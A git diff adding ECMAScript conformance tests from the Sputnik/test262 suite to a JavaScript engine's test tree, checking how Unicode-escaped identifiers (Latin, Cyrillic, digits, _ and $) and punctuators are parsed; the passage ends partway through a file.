new file mode 100644
index 000000000..ba300f76d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T2.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierStart :: _
+ *
+ * @path ch07/7.6/S7.6_A1.3_T2.js
+ * @description The _ as unicode character \u005F
+ */
+
+//CHECK#1
+var \u005F = 1;
+if (_ !== 1) {
+ $ERROR('#1: var \\u005F = 1; _ === 1. Actual: ' + (_));
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T3.js b/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T3.js
new file mode 100644
index 000000000..e3a8361c2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A1.3_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierStart :: _
+ *
+ * @path ch07/7.6/S7.6_A1.3_T3.js
+ * @description The _ as unicode character \u005F
+ */
+
+//CHECK#1
+var identifier = String.fromCharCode(0x005F);
+eval("var " + identifier + "=1");
+if (eval(identifier + "===1") !== true) {
+ $ERROR('#1: var identifier = String.fromCharCode(0x005F); eval("var " + identifier + "=1"); eval(identifier + "===1") === true');
+}
+
+//CHECK#2
+if ("_" !== String.fromCharCode(0x005F)) {
+ $ERROR('#2: "_" === String.fromCharCode(0x005F)');
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T1.js b/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T1.js
new file mode 100644
index 000000000..5ef24abef
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T1.js
@@ -0,0 +1,75 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierPart :: IdentifierStart
+ *
+ * @path ch07/7.6/S7.6_A2.1_T1.js
+ * @description IdentifierStart :: UnicodeLetter
+ */
+
+//CHECK#1
+try {
+ var identifier = "x" + "x";
+ eval("var " + identifier + "=1");
+ if (xx !== 1) {
+ $ERROR('#1.1: var identifier = "x" + "x"; eval("var " + identifier + "=1"); xx === 1. Actual: ' + (xx));
+ }
+} catch (e) {
+ $ERROR('#1.2: var identifier = "x" + "x"; eval("var " + identifier + "=1"); xx === 1. Actual: ' + (xx));
+}
+
+//CHECK#2
+try {
+ var identifier = "x" + String.fromCharCode(0x0078);
+ eval("var " + identifier + "=2");
+ if (xx !== 2) {
+ $ERROR('#2.1: var identifier = "x" + String.fromCharCode(0x0078); eval("var " + identifier + "=2"); xx === 2. Actual: ' + (xx));
+ }
+} catch (e) {
+ $ERROR('#2.2: var identifier = "x" + String.fromCharCode(0x0078); eval("var " + identifier + "=2"); xx === 2. Actual: ' + (xx));
+}
+
+//CHECK#3
+try {
+ var identifier = String.fromCharCode(0x0078) + String.fromCharCode(0x0078);
+ eval("var " + identifier + "=3");
+ if (xx !== 3) {
+ $ERROR('#3.1: var identifier = String.fromCharCode(0x0078) + String.fromCharCode(0x0078); eval("var " + identifier + "=3"); xx === 3. Actual: ' + (xx));
+ }
+} catch (e) {
+ $ERROR('#3.2: var identifier = String.fromCharCode(0x0078) + String.fromCharCode(0x0078); eval("var " + identifier + "=3"); xx === 3. Actual: ' + (xx));
+}
+
+//CHECK#4
+try {
+ var identifier = "$" + String.fromCharCode(0x0078);
+ eval("var " + identifier + "=4");
+ if ($x !== 4) {
+ $ERROR('#4.1: var identifier = "$" + String.fromCharCode(0x0078); eval("var " + identifier + "=4"); $x === 4. Actual: ' + ($x));
+ }
+} catch (e) {
+ $ERROR('#4.2: var identifier = "$" + String.fromCharCode(0x0078); eval("var " + identifier + "=4"); $x === 4. Actual: ' + ($x));
+}
+
+//CHECK#5
+try {
+ var identifier = "_" + String.fromCharCode(0x0078);
+ eval("var " + identifier + "=5");
+ if (_x !== 5) {
+ $ERROR('#5.1: var identifier = "_" + String.fromCharCode(0x0078); eval("var " + identifier + "=5"); _x === 5. Actual: ' + (_x));
+ }
+} catch (e) {
+ $ERROR('#5.2: var identifier = "_" + String.fromCharCode(0x0078); eval("var " + identifier + "=5"); _x === 5. Actual: ' + (_x));
+}
+
+//CHECK#6
+try {
+ var \u0078x = 6;
+ if (xx !== 6) {
+ $ERROR('#6.1: var \\u0078x = 1; xx === 6. Actual: ' + (xx));
+ }
+} catch (e) {
+ $ERROR('#6.2: var \\u0078x = 1; xx === 6. Actual: ' + (xx));
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T2.js b/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T2.js
new file mode 100644
index 000000000..3d595b566
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T2.js
@@ -0,0 +1,75 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierPart :: IdentifierStart
+ *
+ * @path ch07/7.6/S7.6_A2.1_T2.js
+ * @description IdentifierStart :: $
+ */
+
+//CHECK#1
+try {
+ var identifier = "x" + "$";
+ eval("var " + identifier + "=1");
+ if (x$ !== 1) {
+ $ERROR('#1.1: var identifier = "x" + "$"; eval("var " + identifier + "=1"); x$ === 1. Actual: ' + (x$));
+ }
+} catch (e) {
+ $ERROR('#1.2: var identifier = "x" + "$"; eval("var " + identifier + "=1"); x$ === 1. Actual: ' + (x$));
+}
+
+//CHECK#2
+try {
+ var identifier = String.fromCharCode(0x0078) + "$";
+ eval("var " + identifier + "=2");
+ if (x$ !== 2) {
+ $ERROR('#2.1: var identifier = String.fromCharCode(0x0078) + "$"; eval("var " + identifier + "=2"); x$ === 2. Actual: ' + (x$));
+ }
+} catch (e) {
+ $ERROR('#2.2: var identifier = String.fromCharCode(0x0078) + "$"; eval("var " + identifier + "=2"); x$ === 2. Actual: ' + (x$));
+}
+
+//CHECK#3
+try {
+ var identifier = "$" + "$";
+ eval("var " + identifier + "=3");
+ if ($$ !== 3) {
+ $ERROR('#3.1: var identifier = "$" + "$"; eval("var " + identifier + "=3"); $$ === 3. Actual: ' + ($$));
+ }
+} catch (e) {
+ $ERROR('#3.2: var identifier = "$" + "$"; eval("var " + identifier + "=3"); $$ === 3. Actual: ' + ($$));
+}
+
+//CHECK#4
+try {
+ var identifier = String.fromCharCode(0x0024) + String.fromCharCode(0x0024);
+ eval("var " + identifier + "=4");
+ if ($$ !== 4) {
+ $ERROR('#4.1: var identifier = String.fromCharCode(0x0024) + String.fromCharCode(0x0024); eval("var " + identifier + "=4"); $$ === 4. Actual: ' + ($$));
+ }
+} catch (e) {
+ $ERROR('#4.2: var identifier = String.fromCharCode(0x0024) + String.fromCharCode(0x0024); eval("var " + identifier + "=4"); $$ === 4. Actual: ' + ($$));
+}
+
+//CHECK#5
+try {
+ var identifier = "_" + "$";
+ eval("var " + identifier + "=5");
+ if (_$ !== 5) {
+ $ERROR('#5.1: var identifier = "_" + "$"; eval("var " + identifier + "=5"); _$ === 5. Actual: ' + (_$));
+ }
+} catch (e) {
+ $ERROR('#5.2: var identifier = "_" + "$"; eval("var " + identifier + "=5"); _$ === 5. Actual: ' + (_$));
+}
+
+//CHECK#6
+try {
+ var \u0078$ = 6;
+ if (x$ !== 6) {
+ $ERROR('#6.1: var \\u0078$ = 1; x$ === 6. Actual: ' + (x$));
+ }
+} catch (e) {
+ $ERROR('#6.2: var \\u0078$ = 1; x$ === 6. Actual: ' + (x$));
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T3.js b/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T3.js
new file mode 100644
index 000000000..9c1032169
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T3.js
@@ -0,0 +1,75 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierPart :: IdentifierStart
+ *
+ * @path ch07/7.6/S7.6_A2.1_T3.js
+ * @description IdentifierStart :: _
+ */
+
+//CHECK#1
+try {
+ var identifier = "x" + "_";
+ eval("var " + identifier + "=1");
+ if (x_ !== 1) {
+ $ERROR('#1.1: var identifier = "x" + "_"; eval("var " + identifier + "=1"); x_ === 1. Actual: ' + (x_));
+ }
+} catch (e) {
+ $ERROR('#1.2: var identifier = "x" + "_"; eval("var " + identifier + "=1"); x_ === 1. Actual: ' + (x_));
+}
+
+//CHECK#2
+try {
+ var identifier = String.fromCharCode(0x0078) + "_";
+ eval("var " + identifier + "=2");
+ if (x_ !== 2) {
+ $ERROR('#2.1: var identifier = String.fromCharCode(0x0078) + "_"; eval("var " + identifier + "=2"); x_ === 2. Actual: ' + (x_));
+ }
+} catch (e) {
+ $ERROR('#2.2: var identifier = String.fromCharCode(0x0078) + "_"; eval("var " + identifier + "=2"); x_ === 2. Actual: ' + (x_));
+}
+
+//CHECK#3
+try {
+ var identifier = "_" + "_";
+ eval("var " + identifier + "=3");
+ if (__ !== 3) {
+ $ERROR('#3.1: var identifier = "_" + "_"; eval("var " + identifier + "=3"); __ === 3. Actual: ' + (__));
+ }
+} catch (e) {
+ $ERROR('#3.2: var identifier = "_" + "_"; eval("var " + identifier + "=3"); __ === 3. Actual: ' + (__));
+}
+
+//CHECK#4
+try {
+ var identifier = String.fromCharCode(0x005F) + String.fromCharCode(0x005F);
+ eval("var " + identifier + "=4");
+ if (__ !== 4) {
+ $ERROR('#4.1: var identifier = String.fromCharCode(0x005F) + String.fromCharCode(0x005F); eval("var " + identifier + "=4"); __ === 4. Actual: ' + (__));
+ }
+} catch (e) {
+ $ERROR('#4.2: var identifier = String.fromCharCode(0x005F) + String.fromCharCode(0x005F); eval("var " + identifier + "=4"); __ === 4. Actual: ' + (__));
+}
+
+//CHECK#5
+try {
+ var identifier = "_" + "_";
+ eval("var " + identifier + "=5");
+ if (__ !== 5) {
+ $ERROR('#5.1: var identifier = "_" + "_"; eval("var " + identifier + "=5"); __ === 5. Actual: ' + (__));
+ }
+} catch (e) {
+ $ERROR('#5.2: var identifier = "_" + "_"; eval("var " + identifier + "=5"); __ === 5. Actual: ' + (__));
+}
+
+//CHECK#6
+try {
+ var \u0078_ = 6;
+ if (x_ !== 6) {
+ $ERROR('#6.1: var \\u0078_ = 1; x_ === 6. Actual: ' + (x_));
+ }
+} catch (e) {
+ $ERROR('#6.2: var \\u0078_ = 1; x_ === 6. Actual: ' + (x_));
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T4.js b/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T4.js
new file mode 100644
index 000000000..a03182254
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A2.1_T4.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * IdentifierPart :: IdentifierStart
+ *
+ * @path ch07/7.6/S7.6_A2.1_T4.js
+ * @description IdentifierStart :: \UnicodeEscapeSequence
+ */
+
+//CHECK#1
+try {
+ var x\u0078 = 1;
+ if (xx !== 1) {
+ $ERROR('#1.1: var x\\u0078 = 1; xx === 1. Actual: ' + (xx));
+ }
+} catch (e) {
+ $ERROR('#1.2: var x\\u0078 = 1; xx === 1. Actual: ' + (xx));
+}
+
+//CHECK#2
+try {
+ var \u0078\u0078 = 2;
+ if (xx !== 2) {
+ $ERROR('#2.1: var \\u0078\\u0078 = 1; xx === 2. Actual: ' + (xx));
+ }
+} catch (e) {
+ $ERROR('#2.2: var \\u0078\\u0078 = 1; xx === 2. Actual: ' + (xx));
+}
+
+//CHECK#3
+try {
+ var \u0024\u0024 = 3;
+ if ($$ !== 3) {
+ $ERROR('#3.1: var \\u0024\\u0024 = 1; $$ === 3. Actual: ' + ($$));
+ }
+} catch (e) {
+ $ERROR('#3.2: var \\u0024\\u0024 = 1; $$ === 3. Actual: ' + ($$));
+}
+
+//CHECK#4
+try {
+ var \u005F\u005F = 4;
+ if (__ !== 4) {
+ $ERROR('#4.1: var \\u005F\\u005F = 1; __ === 4. Actual: ' + (__));
+ }
+} catch (e) {
+ $ERROR('#4.2: var \\u005F\\u005F = 1; __ === 4. Actual: ' + (__));
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A4.1_T1.js b/js/src/tests/test262/ch07/7.6/S7.6_A4.1_T1.js
new file mode 100644
index 000000000..1e18ed18d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A4.1_T1.js
@@ -0,0 +1,116 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of ENGLISH ALPHABET
+ *
+ * @path ch07/7.6/S7.6_A4.1_T1.js
+ * @description Check ENGLISH CAPITAL ALPHABET
+ */
+
+//CHECK#A-Z
+var \u0041 = 1;
+if (A !== 1) {
+ $ERROR('#A');
+}
+var \u0042 = 1;
+if (B !== 1) {
+ $ERROR('#B');
+}
+var \u0043 = 1;
+if (C !== 1) {
+ $ERROR('#C');
+}
+var \u0044 = 1;
+if (D !== 1) {
+ $ERROR('#D');
+}
+var \u0045 = 1;
+if (E !== 1) {
+ $ERROR('#E');
+}
+var \u0046 = 1;
+if (F !== 1) {
+ $ERROR('#F');
+}
+var \u0047 = 1;
+if (G !== 1) {
+ $ERROR('#G');
+}
+var \u0048 = 1;
+if (H !== 1) {
+ $ERROR('#H');
+}
+var \u0049 = 1;
+if (I !== 1) {
+ $ERROR('#I');
+}
+var \u004A = 1;
+if (J !== 1) {
+ $ERROR('#J');
+}
+var \u004B = 1;
+if (K !== 1) {
+ $ERROR('#K');
+}
+var \u004C = 1;
+if (L !== 1) {
+ $ERROR('#L');
+}
+var \u004D = 1;
+if (M !== 1) {
+ $ERROR('#M');
+}
+var \u004E = 1;
+if (N !== 1) {
+ $ERROR('#N');
+}
+var \u004F = 1;
+if (O !== 1) {
+ $ERROR('#O');
+}
+var \u0050 = 1;
+if (P !== 1) {
+ $ERROR('#P');
+}
+var \u0051 = 1;
+if (Q !== 1) {
+ $ERROR('#Q');
+}
+var \u0052 = 1;
+if (R !== 1) {
+ $ERROR('#R');
+}
+var \u0053 = 1;
+if (S !== 1) {
+ $ERROR('#S');
+}
+var \u0054 = 1;
+if (T !== 1) {
+ $ERROR('#T');
+}
+var \u0055 = 1;
+if (U !== 1) {
+ $ERROR('#U');
+}
+var \u0056 = 1;
+if (V !== 1) {
+ $ERROR('#V');
+}
+var \u0057 = 1;
+if (W !== 1) {
+ $ERROR('#W');
+}
+var \u0058 = 1;
+if (X !== 1) {
+ $ERROR('#X');
+}
+var \u0059 = 1;
+if (Y !== 1) {
+ $ERROR('#Y');
+}
+var \u005A = 1;
+if (Z !== 1) {
+ $ERROR('#Z');
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A4.1_T2.js b/js/src/tests/test262/ch07/7.6/S7.6_A4.1_T2.js
new file mode 100644
index 000000000..20003197e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A4.1_T2.js
@@ -0,0 +1,117 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of ENGLISH ALPHABET
+ *
+ * @path ch07/7.6/S7.6_A4.1_T2.js
+ * @description Check ENGLISH SMALL ALPHABET
+ */
+
+//CHECK#a-z
+var \u0061 = 1;
+if (a !== 1) {
+ $ERROR('#a');
+}
+var \u0062 = 1;
+if (b !== 1) {
+ $ERROR('#b');
+}
+var \u0063 = 1;
+if (c !== 1) {
+ $ERROR('#c');
+}
+var \u0064 = 1;
+if (d !== 1) {
+ $ERROR('#d');
+}
+var \u0065 = 1;
+if (e !== 1) {
+ $ERROR('#e');
+}
+var \u0066 = 1;
+if (f !== 1) {
+ $ERROR('#f');
+}
+var \u0067 = 1;
+if (g !== 1) {
+ $ERROR('#g');
+}
+var \u0068 = 1;
+if (h !== 1) {
+ $ERROR('#h');
+}
+var \u0069 = 1;
+if (i !== 1) {
+ $ERROR('#i');
+}
+var \u006A = 1;
+if (j !== 1) {
+ $ERROR('#j');
+}
+var \u006B = 1;
+if (k !== 1) {
+ $ERROR('#k');
+}
+var \u006C = 1;
+if (l !== 1) {
+ $ERROR('#l');
+}
+var \u006D = 1;
+if (m !== 1) {
+ $ERROR('#m');
+}
+var \u006E = 1;
+if (n !== 1) {
+ $ERROR('#n');
+}
+var \u006F = 1;
+if (o !== 1) {
+ $ERROR('#o');
+}
+var \u0070 = 1;
+if (p !== 1) {
+ $ERROR('#p');
+}
+var \u0071 = 1;
+if (q !== 1) {
+ $ERROR('#q');
+}
+var \u0072 = 1;
+if (r !== 1) {
+ $ERROR('#r');
+}
+var \u0073 = 1;
+if (s !== 1) {
+ $ERROR('#s');
+}
+var \u0074 = 1;
+if (t !== 1) {
+ $ERROR('#t');
+}
+var \u0075 = 1;
+if (u !== 1) {
+ $ERROR('#u');
+}
+var \u0076 = 1;
+if (v !== 1) {
+ $ERROR('#v');
+}
+var \u0077 = 1;
+if (w !== 1) {
+ $ERROR('#w');
+}
+var \u0078 = 1;
+if (x !== 1) {
+ $ERROR('#x');
+}
+var \u0079 = 1;
+if (y !== 1) {
+ $ERROR('#y');
+}
+var \u007A = 1;
+if (z !== 1) {
+ $ERROR('#z');
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A4.2_T1.js b/js/src/tests/test262/ch07/7.6/S7.6_A4.2_T1.js
new file mode 100644
index 000000000..e588b8c15
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A4.2_T1.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of RUSSIAN ALPHABET
+ *
+ * @path ch07/7.6/S7.6_A4.2_T1.js
+ * @description Check RUSSIAN CAPITAL ALPHABET
+ */
+
+//CHECK#А-Я
+var \u0410 = 1;
+if (А !== 1) {
+ $ERROR('#А');
+}
+var \u0411 = 1;
+if (Б !== 1) {
+ $ERROR('#Б');
+}
+var \u0412 = 1;
+if (В !== 1) {
+ $ERROR('#В');
+}
+var \u0413 = 1;
+if (Г !== 1) {
+ $ERROR('#Г');
+}
+var \u0414 = 1;
+if (Д !== 1) {
+ $ERROR('#Д');
+}
+var \u0415 = 1;
+if (Е !== 1) {
+ $ERROR('#Е');
+}
+var \u0416 = 1;
+if (Ж !== 1) {
+ $ERROR('#Ж');
+}
+var \u0417 = 1;
+if (З !== 1) {
+ $ERROR('#З');
+}
+var \u0418 = 1;
+if (И !== 1) {
+ $ERROR('#И');
+}
+var \u0419 = 1;
+if (Й !== 1) {
+ $ERROR('#Й');
+}
+var \u041A = 1;
+if (К !== 1) {
+ $ERROR('#К');
+}
+var \u041B = 1;
+if (Л !== 1) {
+ $ERROR('#Л');
+}
+var \u041C = 1;
+if (М !== 1) {
+ $ERROR('#М');
+}
+var \u041D = 1;
+if (Н !== 1) {
+ $ERROR('#Н');
+}
+var \u041E = 1;
+if (О !== 1) {
+ $ERROR('#О');
+}
+var \u041F = 1;
+if (П !== 1) {
+ $ERROR('#П');
+}
+var \u0420 = 1;
+if (Р !== 1) {
+ $ERROR('#Р');
+}
+var \u0421 = 1;
+if (С !== 1) {
+ $ERROR('#С');
+}
+var \u0422 = 1;
+if (Т !== 1) {
+ $ERROR('#Т');
+}
+var \u0423 = 1;
+if (У !== 1) {
+ $ERROR('#У');
+}
+var \u0424 = 1;
+if (Ф !== 1) {
+ $ERROR('#Ф');
+}
+var \u0425 = 1;
+if (Х !== 1) {
+ $ERROR('#Х');
+}
+var \u0426 = 1;
+if (Ц !== 1) {
+ $ERROR('#Ц');
+}
+var \u0427 = 1;
+if (Ч !== 1) {
+ $ERROR('#Ч');
+}
+var \u0428 = 1;
+if (Ш !== 1) {
+ $ERROR('#Ш');
+}
+var \u0429 = 1;
+if (Щ !== 1) {
+ $ERROR('#Щ');
+}
+var \u042A = 1;
+if (Ъ !== 1) {
+ $ERROR('#Ъ');
+}
+var \u042B = 1;
+if (Ы !== 1) {
+ $ERROR('#Ы');
+}
+var \u042C = 1;
+if (Ь !== 1) {
+ $ERROR('#Ь');
+}
+var \u042D = 1;
+if (Э !== 1) {
+ $ERROR('#Э');
+}
+var \u042E = 1;
+if (Ю !== 1) {
+ $ERROR('#Ю');
+}
+var \u042F = 1;
+if (Я !== 1) {
+ $ERROR('#Я');
+}
+var \u0401 = 1;
+if (Ё !== 1) {
+ $ERROR('#Ё');
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A4.2_T2.js b/js/src/tests/test262/ch07/7.6/S7.6_A4.2_T2.js
new file mode 100644
index 000000000..119b94918
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A4.2_T2.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of RUSSIAN ALPHABET
+ *
+ * @path ch07/7.6/S7.6_A4.2_T2.js
+ * @description Check RUSSIAN SMALL ALPHABET
+ */
+
+//CHECK#а-я
+var \u0430 = 1;
+if (а !== 1) {
+ $ERROR('#а');
+}
+var \u0431 = 1;
+if (б !== 1) {
+ $ERROR('#б');
+}
+var \u0432 = 1;
+if (в !== 1) {
+ $ERROR('#в');
+}
+var \u0433 = 1;
+if (г !== 1) {
+ $ERROR('#г');
+}
+var \u0434 = 1;
+if (д !== 1) {
+ $ERROR('#д');
+}
+var \u0435 = 1;
+if (е !== 1) {
+ $ERROR('#е');
+}
+var \u0436 = 1;
+if (ж !== 1) {
+ $ERROR('#ж');
+}
+var \u0437 = 1;
+if (з !== 1) {
+ $ERROR('#з');
+}
+var \u0438 = 1;
+if (и !== 1) {
+ $ERROR('#и');
+}
+var \u0439 = 1;
+if (й !== 1) {
+ $ERROR('#й');
+}
+var \u043A = 1;
+if (к !== 1) {
+ $ERROR('#к');
+}
+var \u043B = 1;
+if (л !== 1) {
+ $ERROR('#л');
+}
+var \u043C = 1;
+if (м !== 1) {
+ $ERROR('#м');
+}
+var \u043D = 1;
+if (н !== 1) {
+ $ERROR('#н');
+}
+var \u043E = 1;
+if (о !== 1) {
+ $ERROR('#о');
+}
+var \u043F = 1;
+if (п !== 1) {
+ $ERROR('#п');
+}
+var \u0440 = 1;
+if (р !== 1) {
+ $ERROR('#р');
+}
+var \u0441 = 1;
+if (с !== 1) {
+ $ERROR('#с');
+}
+var \u0442 = 1;
+if (т !== 1) {
+ $ERROR('#т');
+}
+var \u0443 = 1;
+if (у !== 1) {
+ $ERROR('#у');
+}
+var \u0444 = 1;
+if (ф !== 1) {
+ $ERROR('#ф');
+}
+var \u0445 = 1;
+if (х !== 1) {
+ $ERROR('#х');
+}
+var \u0446 = 1;
+if (ц !== 1) {
+ $ERROR('#ц');
+}
+var \u0447 = 1;
+if (ч !== 1) {
+ $ERROR('#ч');
+}
+var \u0448 = 1;
+if (ш !== 1) {
+ $ERROR('#ш');
+}
+var \u0449 = 1;
+if (щ !== 1) {
+ $ERROR('#щ');
+}
+var \u044A = 1;
+if (ъ !== 1) {
+ $ERROR('#ъ');
+}
+var \u044B = 1;
+if (ы !== 1) {
+ $ERROR('#ы');
+}
+var \u044C = 1;
+if (ь !== 1) {
+ $ERROR('#ь');
+}
+var \u044D = 1;
+if (э !== 1) {
+ $ERROR('#э');
+}
+var \u044E = 1;
+if (ю !== 1) {
+ $ERROR('#ю');
+}
+var \u044F = 1;
+if (я !== 1) {
+ $ERROR('#я');
+}
+var \u0451 = 1;
+if (ё !== 1) {
+ $ERROR('#ё');
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/S7.6_A4.3_T1.js b/js/src/tests/test262/ch07/7.6/S7.6_A4.3_T1.js
new file mode 100644
index 000000000..ab13aa253
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/S7.6_A4.3_T1.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of DIGITS
+ *
+ * @path ch07/7.6/S7.6_A4.3_T1.js
+ * @description Identifier is $+ANY_DIGIT
+ */
+
+//CHECK#0-9
+var $\u0030 = 0;
+if ($0 !== 0) {
+ $ERROR('#0: $\\u0030 = 0; $0 === 0');
+}
+var $\u0031 = 1;
+if ($1 !== 1) {
+ $ERROR('#1: $\\u0031 = 1; $1 === 1');
+}
+var $\u0032 = 2;
+if ($2 !== 2) {
+ $ERROR('#2: $\\u0032 = 2; $2 === 2');
+}
+var $\u0033 = 3;
+if ($3 !== 3) {
+ $ERROR('#3: $\\u0033 = 3; $3 === 3');
+}
+var $\u0034 = 4;
+if ($4 !== 4) {
+ $ERROR('#4: $\\u0034 = 4; $4 === 4');
+}
+var $\u0035 = 5;
+if ($5 !== 5) {
+ $ERROR('#5: $\\u0035 = 5; $5 === 5');
+}
+var $\u0036 = 6;
+if ($6 !== 6) {
+ $ERROR('#6: $\\u0036 = 6; $6 === 6');
+}
+var $\u0037 = 7;
+if ($7 !== 7) {
+ $ERROR('#7: $\\u0037 = 7; $7 === 7');
+}
+var $\u0038 = 8;
+if ($8 !== 8) {
+ $ERROR('#8: $\\u0038 = 8; $8 === 8');
+}
+var $\u0039 = 9;
+if ($9 !== 9) {
+ $ERROR('#9: $\\u0039 = 9; $9 === 9');
+}
+
diff --git a/js/src/tests/test262/ch07/7.6/browser.js b/js/src/tests/test262/ch07/7.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/browser.js
diff --git a/js/src/tests/test262/ch07/7.6/shell.js b/js/src/tests/test262/ch07/7.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/shell.js
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A1.js b/js/src/tests/test262/ch07/7.7/S7.7_A1.js
new file mode 100644
index 000000000..e033e1164
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of all punctuators
+ *
+ * @path ch07/7.7/S7.7_A1.js
+ * @description Using all punctuators
+ */
+
+//CHECK#1
+ ({});[];
+ this.NaN;
+ 1 < 2 > 3 <= 4 >= 5 == 6 != 7 === 8 !== 9;
+ 1 + 2 - 3 * 4 % 5 / 6 << 7 >> 8 >>> 9;
+ this.NaN++; ++this.NaN; this.NaN--; --this.NaN;
+ 1 & 2 | 3 ^ 4 && !5 || ~6;
+ 1 ? 2 : 3;
+ this.NaN = 1; this.NaN += 2; this.NaN -= 3; this.NaN *= 4; this.NaN /= 5;
+ this.NaN %= 6; this.NaN <<= 7; this.NaN >>= 8; this.NaN >>>= 9;
+ this.NaN &= 1; this.NaN |= 2; this.NaN ^= 3;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T1.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T1.js
new file mode 100644
index 000000000..1a545639d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T1.js
+ * @description Try to use {} as a Unicode \u007B\u007D
+ * @negative
+ */
+
+\u007B\u007D;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T10.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T10.js
new file mode 100644
index 000000000..6d71a5617
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T10.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T10.js
+ * @description Try to use / as a Unicode \u002F
+ * @negative
+ */
+
+1\u002F2;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T2.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T2.js
new file mode 100644
index 000000000..1a06e190e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Punctuator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.7/S7.7_A2_T2.js
+ * @description Try to use () as Unicode \u00281\u0029
+ * @negative
+ */
+
+\u00281\u0029;
+
diff --git a/js/src/tests/test262/ch07/7.7/S7.7_A2_T3.js b/js/src/tests/test262/ch07/7.7/S7.7_A2_T3.js
new file mode 100644
index 000000000..1b9b950f4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.7/S7.7_A2_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
